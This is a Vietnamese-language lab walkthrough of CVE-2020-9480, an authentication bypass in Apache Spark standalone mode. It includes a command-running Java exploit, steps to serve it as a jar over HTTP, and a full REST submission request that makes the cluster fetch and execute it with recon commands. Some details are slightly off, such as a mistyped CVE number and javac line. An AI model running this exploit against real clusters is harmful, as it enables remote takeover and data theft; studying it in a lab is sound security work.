Contents

CVE-2020-9480

Description

Lỗ hổng phát sinh khi tính năng xác thực chính (spark.authenticate) được bật bằng cách sử dụng shared secret. Thông thường, tính năng này yêu cầu người dùng cung cấp shared secret để khởi động tài nguyên của ứng dụng trên Spark cluster. Tuy nhiên, lệnh gọi thủ tục từ xa (RPC) có thể bỏ qua quá trình xác thực và bắt đầu thực thi lệnh thành công, ngay cả khi không có shared secret. Kẻ tấn công có thể khai thác lỗ hổng bảo mật này để thực thi từ xa các lệnh shell tùy ý trên máy chủ nơi Spark cluster đang chạy. Bằng cách tận dụng lỗ hổng bảo mật, kẻ tấn công có thể truy cập và kiểm soát trái phép toàn bộ cluster, có khả năng dẫn đến đánh cắp dữ liệu, xâm phạm hệ thống hoặc khai thác mạng thêm. Lỗ hổng xảy ra ở chế độ standalone khi xác thực quyền bị bỏ qua, dẫn đến RCE.

Goal

Khai thác lỗ hổng CVE-2020-9840 thông qua REST API dẫn đến thực thi dòng lệnh từ xa.

Exploitation

Bước 1: Khởi chạy máy ảo Docker bằng câu lệnh docker-compose up:

https://github.com/g03m0n/pics/assets/130943529/e1851382-91ad-4f96-bcc2-ff9ae0145a31

Đây là giao diện chính của Spark Worker:

https://github.com/g03m0n/pics/assets/130943529/beaf7e1b-81dd-4913-a93f-af166ea23a80

Bước 2: Tạo một file exploit viết bằng java và lưu với tên Exploit.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
  public static void main(String[] args) throws Exception {
    String[] cmds = args[0].split(",");

    for (String cmd : cmds) {
      System.out.println(cmd);
      System.out.println(executeCommand(cmd.trim()));
      System.out.println("==============================================");
    }
  }
  private static String executeCommand(String command) {
    StringBuilder output = new StringBuilder();

    try {
      Process p = Runtime.getRuntime().exec(command);
      p.waitFor();
      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));       

      String line;
      while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
      }
    } catch (Exception e) {
      e.printStackTrace();
    }

    return output.toString();
  }
}

Bước 3: Convert tệp Exploit.java thành Exploit.jar bằng 2 câu lệnh:

javac .\Exploit.jar
jar -cvf Exploit.jar Exploit.java

https://github.com/g03m0n/pics/assets/130943529/93e51138-1eaf-43f9-9340-bec2a5cda946

Bước 4: Khởi tạo máy chủ local để đẩy file Exploit.jar lên server với câu lệnh python -m http.server

https://github.com/g03m0n/pics/assets/130943529/993e1b21-b21d-42a2-a283-c36398f68edc

Bước 5: Ở chế độ standalone, máy chủ sẽ khởi động máy chủ HTTP trên cổng 6066 và chúng ta sẽ gửi API REST tới cổng này:

POST /v1/submissions/create HTTP/1.1
Host: 192.168.1.39:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680

{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "2.3.1",
  "appArgs": [
    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
  ],
  "appResource": "http://192.168.1.39:8000/Exploit.jar",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "http://192.168.1.39:8000/Exploit.jar ",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://192.168.1.39:6066"
  }
}

Trong đó, spark.jars là ứng dụng được biên dịch, mainClass là lớp sẽ được chạy và appArgs là các tham số được truyền cho ứng dụng.

https://github.com/g03m0n/pics/assets/130943529/581a1892-f8c4-4fb8-b355-f31c533d3297

Bước 5: Có submitId trong gói tin Reponses, ta vào đường dẫn sau để xem kết quả được thực thi:

http://192.168.1.39:8081/logPage/?driverId={submissionId}&logType=stdout

https://github.com/g03m0n/pics/assets/130943529/71733097-1399-45c6-9fa5-dd3f16c0c964

Video demo